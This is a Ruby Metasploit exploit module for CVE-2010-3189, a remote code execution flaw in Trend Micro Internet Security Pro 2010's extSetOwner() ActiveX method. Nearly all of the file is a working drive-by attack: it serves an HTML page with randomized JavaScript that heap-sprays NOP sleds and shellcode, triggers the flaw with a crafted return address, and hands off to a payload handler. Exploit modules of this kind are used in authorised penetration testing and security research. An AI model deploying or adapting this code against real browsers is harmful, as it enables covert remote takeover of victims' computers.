148 lines
4.7 KiB
Ruby
148 lines
4.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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##
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# trendmicro_extsetowner.rb
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#
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# Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution exploit for the Metasploit Framework
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#
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# Exploit successfully tested on the following platforms:
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# - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows XP SP3
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# - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows Vista SP2
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#
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# UfPBCtrl.dll version tested:
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# File Version: 17.50.0.1366
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# ClassID: 15DBC3F9-9F0A-472E-8061-043D9CEC52F0
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# RegKey Safe for Script: True
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# RegKey Safe for Init: True
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# KillBitSet: False
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#
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# References:
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# - CVE-2010-3189
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# - OSVDB 67561
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# - http://www.zerodayinitiative.com/advisories/ZDI-10-165/ - Original advisory by Andrea Micalizzi aka rgod via Zero Day Initiative
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# - http://www.exploit-db.com/exploits/14878/ - MOAUB #03 exploit
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# - http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/ - MOAUB #03 binary analysis
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# - http://www.rec-sec.com/2010/09/28/trend-micro-internet-security-2010-rce-exploit/ - Metasploit exploit by Trancer, Recognize-Security
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#
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# Trancer
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# http://www.rec-sec.com
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution',
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'Description' => %q{
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This module exploits a remote code execution vulnerability in Trend Micro
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Internet Security Pro 2010 ActiveX.
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When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll
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an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-3189' ],
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[ 'OSVDB', '67561'],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-165/' ], # Andrea Micalizzi aka rgod via Zero Day Initiative
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[ 'EDB', '14878' ], # MOAUB #03
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x00C750A1 } ] #??
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],
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'DisclosureDate' => 'Aug 25 2010',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape(make_nops(4))
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ret = Rex::Text.to_unescape([target.ret].pack('V'))
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blocksize = 0x40000
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fillto = 500
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# ActiveX parameters
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clsid = "15DBC3F9-9F0A-472E-8061-043D9CEC52F0"
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# Randomize the javascript variable names
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ufpbctrl = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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html = %Q|<html>
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<object classid='clsid:#{clsid}' id='#{ufpbctrl}'></object>
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<script>
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var #{j_shellcode} = unescape('#{shellcode}');
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var #{j_nops} = unescape('#{nops}');
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var #{j_headersize} = 20;
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var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
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while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
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var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
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var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
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while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
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var #{j_memory} = new Array();
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for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
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#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
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}
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#{ufpbctrl}.extSetOwner(unescape('#{ret}'));
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</script>
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</html>|
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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end
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